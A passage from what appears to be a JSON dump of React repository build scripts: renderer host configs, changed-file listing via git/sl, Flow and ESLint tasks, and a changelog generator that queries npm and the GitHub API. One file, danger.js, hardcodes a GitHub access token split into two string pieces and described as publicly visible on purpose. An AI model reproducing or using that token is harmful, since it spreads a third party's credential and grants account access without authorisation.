'react-dom/static.edge',\n      'react-dom/unstable_testing',\n      'react-dom/src/server/react-dom-server.edge',\n      'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge\n      'react-dom/src/server/ReactDOMFizzStaticEdge.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-webpack',\n      'react-server-dom-webpack/client.edge',\n      'react-server-dom-webpack/server.edge',\n      'react-server-dom-webpack/static.edge',\n      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.edge\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',\n      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',\n      'react-server-dom-webpack/src/client/react-flight-dom-client.edge',\n      'react-server-dom-webpack/src/server/react-flight-dom-server.edge',\n      'react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-webpack/src/server/react-flight-dom-server.edge\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-edge-turbopack',\n    entryPoints: [\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server.edge',\n      'react-dom/static.edge',\n      'react-dom/unstable_testing',\n      'react-dom/src/server/react-dom-server.edge',\n      'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge\n      'react-dom/src/server/ReactDOMFizzStaticEdge.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-turbopack',\n      'react-server-dom-turbopack/client.edge',\n      'react-server-dom-turbopack/server.edge',\n      'react-server-dom-turbopack/static.edge',\n      'react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-turbopack/client.edge\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',\n      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js',\n      'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',\n      'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',\n      'react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.edge\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-edge-parcel',\n    entryPoints: [\n      'react-server-dom-parcel/src/client/react-flight-dom-client.edge',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.edge',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server.edge',\n      'react-dom/static.edge',\n      'react-dom/unstable_testing',\n      'react-dom/src/server/react-dom-server.edge',\n      'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge\n      'react-dom/src/server/ReactDOMFizzStaticEdge.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-parcel',\n      'react-server-dom-parcel/client.edge',\n      'react-server-dom-parcel/server.edge',\n      'react-server-dom-parcel/static.edge',\n      'react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-parcel/client.edge\n      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',\n      'react-server-dom-parcel/src/client/react-flight-dom-client.edge',\n      'react-server-dom-parcel/src/server/react-flight-dom-server.edge',\n      'react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-parcel/src/server/react-flight-dom-server.edge\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-node-esm',\n    entryPoints: [\n      'react-server-dom-esm/client.node',\n      'react-server-dom-esm/src/server/react-flight-dom-server.node',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/client',\n      'react-dom/profiling',\n      'react-dom/server',\n      'react-dom/server.node',\n      'react-dom/static',\n      'react-dom/static.node',\n      'react-dom/src/server/react-dom-server.node',\n      'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node\n      'react-dom/src/server/ReactDOMFizzStaticNode.js',\n      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',\n      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',\n      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',\n      'react-server-dom-esm',\n      'react-server-dom-esm/client.node',\n      'react-server-dom-esm/server',\n      'react-server-dom-esm/server.node',\n      'react-server-dom-esm/static',\n      'react-server-dom-esm/static.node',\n      'react-server-dom-esm/src/client/ReactFlightDOMClientNode.js', // react-server-dom-esm/client.node\n      'react-server-dom-esm/src/server/react-flight-dom-server.node',\n      'react-server-dom-esm/src/server/ReactFlightDOMServerNode.js', // react-server-dom-esm/src/server/react-flight-dom-server.node\n      'react-devtools',\n      'react-devtools-core',\n      'react-devtools-shell',\n      'react-devtools-shared',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNode.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-legacy',\n    entryPoints: [\n      'react-dom/src/server/ReactDOMLegacyServerBrowser.js', // react-dom/server.browser\n      'react-dom/src/server/ReactDOMLegacyServerNode.js', // react-dom/server.node\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-dom/src/server/ReactDOMLegacyServerImpl.js', // not an entrypoint, but only usable in *Browser and *Node files\n      'react-dom/src/server/ReactDOMLegacyServerBrowser.js', // react-dom/server.browser\n      'react-dom/src/server/ReactDOMLegacyServerNode.js', // react-dom/server.node\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'markup',\n    entryPoints: [\n      'react-markup/src/ReactMarkupClient.js', // react-markup\n      'react-markup/src/ReactMarkupServer.js', // react-markup/react-markup.react-server\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-markup',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n  {\n    shortName: 'dom-fb',\n    entryPoints: [\n      'react-dom/src/ReactDOMFB.js',\n      'react-dom/src/ReactDOMTestingFB.js',\n      'react-server-dom-fb/src/ReactDOMServerFB.js',\n    ],\n    paths: [\n      'react-dom',\n      'react-dom/src/ReactDOMFB.js',\n      'react-dom/src/ReactDOMTestingFB.js',\n      'react-dom/src/ReactDOMReactServer.js',\n      'react-dom-bindings',\n      'react-server-dom-fb',\n      'shared/ReactDOMSharedInternals',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n    isFlightSupported: false,\n  },\n  {\n    shortName: 'native',\n    entryPoints: ['react-native-renderer'],\n    paths: [\n      'react-native-renderer',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: false,\n  },\n  {\n    shortName: 'fabric',\n    entryPoints: ['react-native-renderer/fabric'],\n    paths: [\n      'react-native-renderer',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: false,\n  },\n  {\n    shortName: 'test',\n    entryPoints: ['react-test-renderer'],\n    paths: [\n      'react-test-renderer',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: false,\n  },\n  {\n    shortName: 'art',\n    entryPoints: ['react-art'],\n    paths: [\n      'react-art',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: false, // TODO: type it.\n    isServerSupported: false,\n  },\n  {\n    shortName: 'noop',\n    entryPoints: [\n      'react-noop-renderer',\n      'react-noop-renderer/persistent',\n      'react-noop-renderer/server',\n      'react-noop-renderer/flight-server',\n      'react-noop-renderer/flight-client',\n    ],\n    paths: [\n      'react-noop-renderer',\n      'react-client/flight',\n      'react-server/flight',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n    isFlightSupported: true,\n  },\n  {\n    shortName: 'custom',\n    entryPoints: [\n      'react-reconciler',\n      'react-client/flight',\n      'react-server',\n      'react-server/flight',\n    ],\n    paths: [\n      'react-client/flight',\n      'react-server/flight',\n      'react-server/src/ReactFlightServerConfigDebugNoop.js',\n    ],\n    isFlowTyped: true,\n    isServerSupported: true,\n  },\n];\n"
  },
  {
    "path": "scripts/shared/listChangedFiles.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst execFileSync = require('child_process').execFileSync;\n\nconst exec = (command, args) => {\n  console.log('> ' + [command].concat(args).join(' '));\n  const options = {\n    cwd: process.cwd(),\n    env: process.env,\n    stdio: 'pipe',\n    encoding: 'utf-8',\n  };\n  return execFileSync(command, args, options);\n};\n\nconst isGit = () => {\n  try {\n    const wt = execGitCmd(['rev-parse', '--is-inside-work-tree']);\n    return wt.length > 0 && wt[0] === 'true';\n  } catch (_e) {\n    return false;\n  }\n};\n\nconst isSl = () => {\n  try {\n    execSlCmd(['whereami']);\n    return true;\n  } catch (_e) {\n    return false;\n  }\n};\n\nconst execGitCmd = args => exec('git', args).trim().toString().split('\\n');\nconst execSlCmd = args => exec('sl', args).trim().toString().split('\\n');\n\nconst listChangedFiles = () => {\n  if (isGit()) {\n    const mergeBase = execGitCmd(['merge-base', 'HEAD', 'main']);\n    return new Set([\n      ...execGitCmd([\n        'diff',\n        '--name-only',\n        '--diff-filter=ACMRTUB',\n        mergeBase,\n      ]),\n      ...execGitCmd(['ls-files', '--others', '--exclude-standard']),\n    ]);\n  } else if (isSl()) {\n    const mergeBase = execSlCmd(['log', '-r', 'last(public() & ::.)'])[0]\n      .trim()\n      .split(/\\s+/)[1];\n    return new Set(execSlCmd(['status', '--no-status', '--rev', mergeBase]));\n  }\n  throw new Error('Not a git or sl repo');\n};\n\nmodule.exports = listChangedFiles;\n"
  },
  {
    "path": "scripts/shared/pathsByLanguageVersion.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\n// Files that are transformed and can use ES6/Flow/JSX.\nconst esNextPaths = [\n  // Internal forwarding modules\n  'packages/*/*.js',\n  'packages/*/esm/*.js',\n  'packages/use-sync-external-store/shim/**/*.js',\n  'packages/use-sync-external-store/with-selector/**/*.js',\n  // Source files\n  'packages/*/src/**/*.js',\n  'packages/dom-event-testing-library/**/*.js',\n  'packages/shared/**/*.js',\n  // Shims and Flow environment\n  'scripts/flow/*.js',\n  'scripts/rollup/shims/**/*.js',\n];\n\n// Files that we distribute on npm that should be ES5-only.\nconst es5Paths = ['packages/*/npm/**/*.js'];\n\nmodule.exports = {\n  esNextPaths,\n  es5Paths,\n};\n"
  },
  {
    "path": "scripts/tasks/danger.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst path = require('path');\nconst spawn = require('child_process').spawn;\n\nconst extension = process.platform === 'win32' ? '.cmd' : '';\n\n// sizebot public_repo token (this is publicly visible on purpose)\nconst token = 'ghp_UfuUaoow8veN3ZV1' + 'sGquTDgiVjRDmL2qLY1D';\nspawn(\n  path.join('node_modules', '.bin', 'danger-ci' + extension),\n  [\n    '--id',\n    process.env.RELEASE_CHANNEL === 'experimental' ? 'experimental' : 'stable',\n  ],\n  {\n    // Allow colors to pass through\n    stdio: 'inherit',\n    env: {\n      ...process.env,\n      DANGER_GITHUB_API_TOKEN: token,\n    },\n  }\n).on('close', function (code) {\n  if (code !== 0) {\n    console.error('Danger failed');\n  } else {\n    console.log('Danger passed');\n  }\n\n  process.exit(code);\n});\n"
  },
  {
    "path": "scripts/tasks/eslint.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst minimist = require('minimist');\nconst runESLint = require('../eslint');\n\nasync function main() {\n  console.log('Linting all files...');\n  if (!process.env.CI) {\n    console.log('Hint: run `yarn linc` to only lint changed files.');\n  }\n\n  const {_: paths, ...cliOptions} = minimist(process.argv.slice(2));\n\n  if (await runESLint({onlyChanged: false, ...cliOptions, paths})) {\n    console.log('Lint passed.');\n  } else {\n    console.log('Lint failed.');\n    process.exit(1);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "scripts/tasks/flow-ci.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nprocess.on('unhandledRejection', err => {\n  throw err;\n});\n\nconst runFlow = require('../flow/runFlow');\nconst inlinedHostConfigs = require('../shared/inlinedHostConfigs');\n\nasync function check(shortName) {\n  if (shortName == null) {\n    throw new Error('Expected an inlinedHostConfig shortName');\n  }\n  const rendererInfo = inlinedHostConfigs.find(\n    config => config.shortName === shortName\n  );\n  if (rendererInfo == null) {\n    throw new Error(`Could not find inlinedHostConfig for ${shortName}`);\n  }\n  if (rendererInfo.isFlowTyped) {\n    await runFlow(rendererInfo.shortName, ['check']);\n  }\n}\n\ncheck(process.argv[2]);\n"
  },
  {
    "path": "scripts/tasks/flow.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nprocess.on('unhandledRejection', err => {\n  throw err;\n});\n\nconst chalk = require('chalk');\nconst runFlow = require('../flow/runFlow');\nconst inlinedHostConfigs = require('../shared/inlinedHostConfigs');\n\n// This script is using `flow status` for a quick check with a server.\n// Use it for local development.\n\nconst primaryRenderer = inlinedHostConfigs.find(\n  info => info.isFlowTyped && info.shortName === process.argv[2]\n);\nif (!primaryRenderer) {\n  console.log(\n    'The ' +\n      chalk.red('yarn flow') +\n      ' command now requires you to pick a primary renderer:'\n  );\n  console.log();\n  inlinedHostConfigs.forEach(rendererInfo => {\n    if (rendererInfo.isFlowTyped) {\n      console.log('  * ' + chalk.cyan('yarn flow ' + rendererInfo.shortName));\n    }\n  });\n  console.log();\n  console.log(\n    'If you are not sure, run ' + chalk.green('yarn flow dom-node') + '.'\n  );\n  console.log(\n    'This will still typecheck non-DOM packages, although less precisely.'\n  );\n  console.log();\n  console.log('Note that checks for all renderers will run on CI.');\n  console.log(\n    'You can also do this locally with ' +\n      chalk.cyan('yarn flow-ci') +\n      ' but it will be slow.'\n  );\n  console.log();\n  process.exit(1);\n}\n\nrunFlow(primaryRenderer.shortName, ['status']);\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/args.js",
    "content": "'use strict';\n\nconst semver = require('semver');\nconst yargs = require('yargs/yargs');\n\nconst {stablePackages} = require('../../../ReactVersions');\nconst {isCommandAvailable} = require('./utils');\n\nfunction parseArgs(argv) {\n  const parser = yargs(argv)\n    .usage(\n      'Usage: yarn generate-changelog [--codex|--claude] [--debug] [--format <text|csv|json>] [<pkg@version> ...]'\n    )\n    .example(\n      '$0 --codex eslint-plugin-react-hooks@7.0.1',\n      'Generate changelog for a single package using Codex.'\n    )\n    .example(\n      '$0 --claude react@19.3 react-dom@19.3',\n      'Generate changelog entries for multiple packages using Claude.'\n    )\n    .example(\n      '$0 --codex',\n      'Generate changelog for all stable packages using recorded versions.'\n    )\n    .option('codex', {\n      type: 'boolean',\n      describe: 'Use Codex for commit summarization.',\n    })\n    .option('claude', {\n      type: 'boolean',\n      describe: 'Use Claude for commit summarization.',\n    })\n    .option('debug', {\n      type: 'boolean',\n      describe: 'Enable verbose debug logging.',\n      default: false,\n    })\n    .option('format', {\n      type: 'string',\n      describe: 'Output format for the generated changelog.',\n      choices: ['text', 'csv', 'json'],\n      default: 'text',\n    })\n    .help('help')\n    .alias('h', 'help')\n    .version(false)\n    .parserConfiguration({\n      'parse-numbers': false,\n      'parse-positional-numbers': false,\n    });\n\n  const args = parser.scriptName('generate-changelog').parse();\n  const packageSpecs = [];\n  const debug = !!args.debug;\n  const format = args.format || 'text';\n  let summarizer = null;\n\n  if (args.codex && args.claude) {\n    throw new Error('Choose either --codex or --claude, not both.');\n  }\n  if (args.codex) {\n    summarizer = 'codex';\n  } else if (args.claude) {\n    summarizer = 'claude';\n  }\n\n  const positionalArgs = Array.isArray(args._) ? args._ : [];\n  for (let i = 0; i < positionalArgs.length; i++) {\n    const token = String(positionalArgs[i]).trim();\n    if (!token) {\n      continue;\n    }\n\n    const atIndex = token.lastIndexOf('@');\n    if (atIndex <= 0 || atIndex === token.length - 1) {\n      throw new Error(`Invalid package specification: ${token}`);\n    }\n\n    const packageName = token.slice(0, atIndex);\n    const versionText = token.slice(atIndex + 1);\n    const validVersion =\n      semver.valid(versionText) || semver.valid(semver.coerce(versionText));\n    if (!validVersion) {\n      throw new Error(`Invalid version for ${packageName}: ${versionText}`);\n    }\n\n    packageSpecs.push({\n      name: packageName,\n      version: validVersion,\n      displayVersion: versionText,\n    });\n  }\n\n  if (packageSpecs.length === 0) {\n    Object.keys(stablePackages).forEach(pkgName => {\n      const versionText = stablePackages[pkgName];\n      const validVersion = semver.valid(versionText);\n      if (!validVersion) {\n        throw new Error(\n          `Invalid stable version configured for ${pkgName}: ${versionText}`\n        );\n      }\n      packageSpecs.push({\n        name: pkgName,\n        version: validVersion,\n        displayVersion: versionText,\n      });\n    });\n  }\n\n  if (summarizer && !isCommandAvailable(summarizer)) {\n    throw new Error(\n      `Requested summarizer \"${summarizer}\" is not available on the PATH.`\n    );\n  }\n\n  return {\n    debug,\n    format,\n    summarizer,\n    packageSpecs,\n  };\n}\n\nmodule.exports = {\n  parseArgs,\n};\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/data.js",
    "content": "'use strict';\n\nconst https = require('https');\nconst path = require('path');\n\nconst {execFileAsync, repoRoot} = require('./utils');\n\nasync function fetchNpmInfo(packageName, {log}) {\n  const npmArgs = ['view', `${packageName}@latest`, '--json'];\n  const options = {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024};\n  log(`Fetching npm info for ${packageName}...`);\n  const {stdout} = await execFileAsync('npm', npmArgs, options);\n\n  let data = stdout.trim();\n  if (!data) {\n    throw new Error(`npm view returned empty result for ${packageName}`);\n  }\n\n  let info = JSON.parse(data);\n  if (Array.isArray(info)) {\n    info = info[info.length - 1];\n  }\n\n  const version = info.version || info['dist-tags']?.latest;\n  let gitHead = info.gitHead || null;\n\n  if (!gitHead) {\n    const gitHeadResult = await execFileAsync(\n      'npm',\n      ['view', `${packageName}@${version}`, 'gitHead'],\n      {cwd: repoRoot, maxBuffer: 1024 * 1024}\n    );\n    const possibleGitHead = gitHeadResult.stdout.trim();\n    if (\n      possibleGitHead &&\n      possibleGitHead !== 'undefined' &&\n      possibleGitHead !== 'null'\n    ) {\n      log(`Found gitHead for ${packageName}@${version}: ${possibleGitHead}`);\n      gitHead = possibleGitHead;\n    }\n  }\n\n  if (!version) {\n    throw new Error(\n      `Unable to determine latest published version for ${packageName}`\n    );\n  }\n  if (!gitHead) {\n    throw new Error(\n      `Unable to determine git commit for ${packageName}@${version}`\n    );\n  }\n\n  return {\n    publishedVersion: version,\n    gitHead,\n  };\n}\n\nasync function collectCommitsSince(packageName, sinceGitSha, {log}) {\n  log(`Collecting commits for ${packageName} since ${sinceGitSha}...`);\n  await execFileAsync('git', ['cat-file', '-e', `${sinceGitSha}^{commit}`], {\n    cwd: repoRoot,\n  });\n  const {stdout} = await execFileAsync(\n    'git',\n    [\n      'rev-list',\n      '--reverse',\n      `${sinceGitSha}..HEAD`,\n      '--',\n      path.posix.join('packages', packageName),\n    ],\n    {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024}\n  );\n\n  return stdout\n    .trim()\n    .split('\\n')\n    .map(line => line.trim())\n    .filter(Boolean);\n}\n\nasync function loadCommitDetails(sha, {log}) {\n  log(`Loading commit details for ${sha}...`);\n  const format = ['%H', '%s', '%an', '%ae', '%ct', '%B'].join('%n');\n  const {stdout} = await execFileAsync(\n    'git',\n    ['show', '--quiet', `--format=${format}`, sha],\n    {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024}\n  );\n\n  const [commitSha, subject, authorName, authorEmail, timestamp, ...rest] =\n    stdout.split('\\n');\n  const body = rest.join('\\n').trim();\n\n  return {\n    sha: commitSha.trim(),\n    subject: subject.trim(),\n    authorName: authorName.trim(),\n    authorEmail: authorEmail.trim(),\n    timestamp: +timestamp.trim() || 0,\n    body,\n  };\n}\n\nfunction extractPrNumber(subject, body) {\n  const patterns = [\n    /\\(#(\\d+)\\)/,\n    /https:\\/\\/github\\.com\\/facebook\\/react\\/pull\\/(\\d+)/,\n  ];\n\n  for (let i = 0; i < patterns.length; i++) {\n    const pattern = patterns[i];\n    const subjectMatch = subject && subject.match(pattern);\n    if (subjectMatch) {\n      return subjectMatch[1];\n    }\n    const bodyMatch = body && body.match(pattern);\n    if (bodyMatch) {\n      return bodyMatch[1];\n    }\n  }\n\n  return null;\n}\n\nasync function fetchPullRequestMetadata(prNumber, {log}) {\n  log(`Fetching PR metadata for #${prNumber}...`);\n  const token = process.env.GITHUB_TOKEN || process.env.GH_TOKEN || null;\n  const requestOptions = {\n    hostname: 'api.github.com',\n    path: `/repos/facebook/react/pulls/${prNumber}`,\n    method: 'GET',\n    headers: {\n      'User-Agent': 'generate-changelog-script',\n      Accept: 'application/vnd.github+json',\n    },\n  };\n  if (token) {\n    requestOptions.headers.Authorization = `Bearer ${token}`;\n  }\n\n  return new Promise(resolve => {\n    const req = https.request(requestOptions, res => {\n      let raw = '';\n      res.on('data', chunk => {\n        raw += chunk;\n      });\n      res.on('end', () => {\n        if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {\n          try {\n            const json = JSON.parse(raw);\n            resolve({\n              authorLogin: json.user?.login || null,\n            });\n          } catch (error) {\n            process.stderr.write(\n              `Warning: unable to parse GitHub response for PR #${prNumber}: ${error.message}\\n`\n            );\n            resolve(null);\n          }\n        } else {\n          process.stderr.write(\n            `Warning: GitHub API request failed for PR #${prNumber} with status ${res.statusCode}\\n`\n          );\n          resolve(null);\n        }\n      });\n    });\n\n    req.on('error', error => {\n      process.stderr.write(\n        `Warning: GitHub API request errored for PR #${prNumber}: ${error.message}\\n`\n      );\n      resolve(null);\n    });\n\n    req.end();\n  });\n}\n\nmodule.exports = {\n  fetchNpmInfo,\n  collectCommitsSince,\n  loadCommitDetails,\n  extractPrNumber,\n  fetchPullRequestMetadata,\n};\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/formatters.js",
    "content": "'use strict';\n\nconst {toCsvRow} = require('./utils');\n\nconst NO_CHANGES_MESSAGE = 'No changes since the last release.';\n\nfunction buildChangelogEntries({\n  packageSpecs,\n  commitsByPackage,\n  summariesByPackage,\n  prMetadata,\n}) {\n  const entries = [];\n\n  for (let i = 0; i < packageSpecs.length; i++) {\n    const spec = packageSpecs[i];\n    const version = spec.displayVersion || spec.version;\n    const commitsForPackage = commitsByPackage.get(spec.name) || [];\n\n    if (commitsForPackage.length === 0) {\n      entries.push({\n        package: spec.name,\n        version,\n        hasChanges: false,\n        note: NO_CHANGES_MESSAGE,\n        commits: [],\n      });\n      continue;\n    }\n\n    const summaryMap = summariesByPackage.get(spec.name) || new Map();\n    const commitEntries = commitsForPackage.map(commit => {\n      let summary = summaryMap.get(commit.sha) || commit.subject;\n      if (commit.prNumber) {\n        const prPattern = new RegExp(`\\\\s*\\\\(#${commit.prNumber}\\\\)$`);\n        summary = summary.replace(prPattern, '').trim();\n      }\n\n      const commitSha = commit.sha;\n      const commitUrl = `https://github.com/facebook/react/commit/${commitSha}`;\n      const prNumber = commit.prNumber || null;\n      const prUrl = prNumber\n        ? `https://github.com/facebook/react/pull/${prNumber}`\n        : null;\n      const prEntry = prNumber ? prMetadata.get(prNumber) : null;\n\n      const authorLogin = prEntry?.authorLogin || null;\n      const authorName = commit.authorName || null;\n      const authorEmail = commit.authorEmail || null;\n\n      let authorUrl = null;\n      let authorDisplay = authorName || 'unknown author';\n\n      if (authorLogin) {\n        authorUrl = `https://github.com/${authorLogin}`;\n        authorDisplay = `[@${authorLogin}](${authorUrl})`;\n      } else if (authorName && authorName.startsWith('@')) {\n        const username = authorName.slice(1);\n        authorUrl = `https://github.com/${username}`;\n        authorDisplay = `[@${username}](${authorUrl})`;\n      }\n\n      const referenceType = prNumber ? 'pr' : 'commit';\n      const referenceId = prNumber ? `#${prNumber}` : commitSha.slice(0, 7);\n      const referenceUrl = prNumber ? prUrl : commitUrl;\n      const referenceLabel = prNumber\n        ? `[#${prNumber}](${prUrl})`\n        : `commit ${commitSha.slice(0, 7)}`;\n\n      return {\n        summary,\n        prNumber,\n        prUrl,\n        commitSha,\n        commitUrl,\n        author: {\n          login: authorLogin,\n          name: authorName,\n          email: authorEmail,\n          url: authorUrl,\n          display: authorDisplay,\n        },\n        reference: {\n          type: referenceType,\n          id: referenceId,\n          url: referenceUrl,\n          label: referenceLabel,\n        },\n      };\n    });\n\n    entries.push({\n      package: spec.name,\n      version,\n      hasChanges: true,\n      note: null,\n      commits: commitEntries,\n    });\n  }\n\n  return entries;\n}\n\nfunction renderChangelog(entries, format) {\n  if (format === 'text') {\n    const lines = [];\n    for (let i = 0; i < entries.length; i++) {\n      const entry = entries[i];\n      lines.push(`## ${entry.package}@${entry.version}`);\n      if (!entry.hasChanges) {\n        lines.push(`* ${entry.note}`);\n        lines.push('');\n        continue;\n      }\n\n      entry.commits.forEach(commit => {\n        lines.push(\n          `* ${commit.summary} (${commit.reference.label} by ${commit.author.display})`\n        );\n      });\n      lines.push('');\n    }\n\n    while (lines.length && lines[lines.length - 1] === '') {\n      lines.pop();\n    }\n\n    return lines.join('\\n');\n  }\n\n  if (format === 'csv') {\n    const header = [\n      'package',\n      'version',\n      'summary',\n      'reference_type',\n      'reference_id',\n      'reference_url',\n      'author_name',\n      'author_login',\n      'author_url',\n      'author_email',\n      'commit_sha',\n      'commit_url',\n    ];\n    const rows = [header];\n\n    entries.forEach(entry => {\n      if (!entry.hasChanges) {\n        rows.push([\n          entry.package,\n          entry.version,\n          entry.note,\n          '',\n          '',\n          '',\n          '',\n          '',\n          '',\n          '',\n          '',\n          '',\n        ]);\n        return;\n      }\n\n      entry.commits.forEach(commit => {\n        const authorName =\n          commit.author.name ||\n          (commit.author.login ? `@${commit.author.login}` : 'unknown author');\n        rows.push([\n          entry.package,\n          entry.version,\n          commit.summary,\n          commit.reference.type,\n          commit.reference.id,\n          commit.reference.url,\n          authorName,\n          commit.author.login || '',\n          commit.author.url || '',\n          commit.author.email || '',\n          commit.commitSha,\n          commit.commitUrl,\n        ]);\n      });\n    });\n\n    return rows.map(toCsvRow).join('\\n');\n  }\n\n  if (format === 'json') {\n    const payload = entries.map(entry => ({\n      package: entry.package,\n      version: entry.version,\n      hasChanges: entry.hasChanges,\n      note: entry.hasChanges ? undefined : entry.note,\n      commits: entry.commits.map(commit => ({\n        summary: commit.summary,\n        prNumber: commit.prNumber,\n        prUrl: commit.prUrl,\n        commitSha: commit.commitSha,\n        commitUrl: commit.commitUrl,\n        author: {\n          login: commit.author.login,\n          name: commit.author.name,\n          email: commit.author.email,\n          url: commit.author.url,\n          display: commit.author.display,\n        },\n        reference: {\n          type: commit.reference.type,\n          id: commit.reference.id,\n          url: commit.reference.url,\n          label: commit.reference.label,\n        },\n      })),\n    }));\n\n    return JSON.stringify(payload, null, 2);\n  }\n\n  throw new Error(`Unsupported format: ${format}`);\n}\n\nmodule.exports = {\n  buildChangelogEntries,\n  renderChangelog,\n};\n"
  },
  {
    "path": "scripts/tasks/generate-changelog/index.js",
